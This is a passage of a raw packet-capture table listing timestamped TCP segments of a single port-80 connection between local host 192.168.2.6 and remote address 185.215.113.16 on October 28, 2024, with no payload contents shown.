Oct 28, 2024 15:28:23.092000961 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.092001915 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.092014074 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.092026949 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.092027903 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.092047930 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.092058897 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.092060089 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.092072010 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.092077971 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.092083931 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.092093945 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.092099905 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.092104912 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.092114925 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.092123032 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.092125893 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.092137098 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.092144012 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.092147112 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.092158079 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.092175007 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.092187881 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.092546940 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.092557907 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.092576027 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.092593908 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.092667103 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.092679024 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.092689991 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.092699051 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.092700005 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.092715025 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.092716932 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.092727900 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.092737913 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.092751026 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.092758894 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.092772007 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.092782021 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.092782974 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.092799902 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.092804909 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.092818022 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.092823029 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.092829943 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.092839956 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.092850924 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.092856884 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.092860937 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.092871904 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.092881918 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.092900991 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.320246935 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.323503971 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.423810005 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.424381018 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.430633068 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.430648088 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.430670977 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.430803061 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.431458950 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.431471109 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.431482077 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.431493044 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.431519032 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.431587934 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.431626081 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.431638002 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.431648970 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.431658983 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.431670904 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.431693077 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.431694984 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.431716919 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.431719065 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.431778908 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.431793928 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.431804895 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.431902885 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.431956053 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.431962013 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.431967020 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.431972027 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.431974888 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.431997061 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.431998014 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.432049036 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.432107925 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.432118893 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.432128906 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.432137966 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.432140112 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.432152987 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.432153940 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.432179928 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.432284117 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.432296038 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.432307005 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.432470083 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.432476044 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.432487011 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.432502031 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.432512999 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.432523012 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.432528973 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.432533979 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.432550907 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.432552099 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.432563066 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.432573080 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.432576895 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.432584047 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.432604074 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.432605028 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.432615995 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.432627916 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.432630062 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.432636023 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.432650089 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.432714939 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.432805061 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.432816029 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.432826042 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.432837963 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.432847977 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.432862043 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.432862043 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.432864904 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.432869911 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.432876110 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.432881117 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.432914972 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.432914972 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.432965994 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.432980061 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.432990074 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.433001041 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.433011055 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.433021069 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.433027029 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.433031082 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.433043003 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.433052063 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.433062077 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.433185101 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.433605909 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.433617115 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.433629036 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.433640003 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.433729887 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.433753967 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.433772087 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.433784008 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.433794975 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.433806896 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.433816910 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.433818102 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.433829069 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.433840036 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.433840036 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.433860064 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.433939934 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.433950901 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.433960915 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.433964014 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.433973074 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.433983088 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.434000969 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.434001923 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.434003115 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.434025049 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.434107065 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.434118986 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.434129000 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.434138060 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.434140921 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.434181929 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.434237003 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.434613943 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.434626102 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.434637070 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.434647083 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.434659958 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.434669971 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.434712887 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.434712887 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.434741974 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.434753895 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.434765100 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.434777021 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.434787989 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.434801102 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.434808969 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.434842110 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.434881926 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.434891939 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.434904099 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.434916973 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.434927940 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.434950113 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.435060024 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.435071945 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.435081959 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.435092926 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.435102940 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.435113907 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.435123920 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.435125113 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.435143948 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.435177088 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.435214043 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.435225010 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.435235977 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.435246944 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.435256958 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.435267925 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.435302019 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.435482979 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.435851097 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.435864925 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.435877085 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.435889006 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.435908079 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.435981989 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.436011076 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.436022043 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.436032057 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.436043978 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.436053991 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.436059952 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.436069965 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.436074972 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.436091900 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.436167002 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.436172962 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.436180115 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.436182022 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.436183929 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.436187983 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.436264992 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.436341047 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.436352968 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.436363935 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.436374903 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.436433077 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.436472893 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.436485052 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.436496973 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.436543941 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.436775923 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.436788082 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.436800003 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.436810970 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.436820984 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.436820984 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.436831951 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.436844110 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.436855078 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.436855078 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.436923981 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.436933994 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.436939955 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.436945915 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.436955929 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.436965942 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.436976910 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.436986923 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.436988115 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.436999083 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.437010050 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.437010050 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.437016010 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.437069893 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.437079906 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.437088966 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.437155008 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.437292099 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.437304020 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.437314987 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.437325954 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.437338114 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.437340021 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.437360048 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.437403917 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.437705994 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.437721014 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.437731981 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.437741995 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.437752962 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.437762976 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.437773943 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.437794924 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.437818050 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.437854052 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.437865973 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.437876940 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.437887907 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.437900066 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.437910080 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.437920094 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.437922001 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.437932968 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.437942028 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.437943935 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.437956095 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.437968969 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.437968969 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.438014984 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.438016891 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.438029051 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.438039064 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.438049078 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.438065052 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.438074112 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.438081980 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.438087940 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.438097954 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.438124895 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.438133001 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.438137054 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.438148975 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.438158989 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.438167095 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.438199997 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.439702034 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.439717054 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.439728022 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.439738989 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.439750910 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.439760923 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.439765930 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.439771891 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.439781904 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.439795017 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.439805031 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.439812899 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.439815998 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.439829111 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.439838886 CET	80	49764	185.215.113.16	192.168.2.6
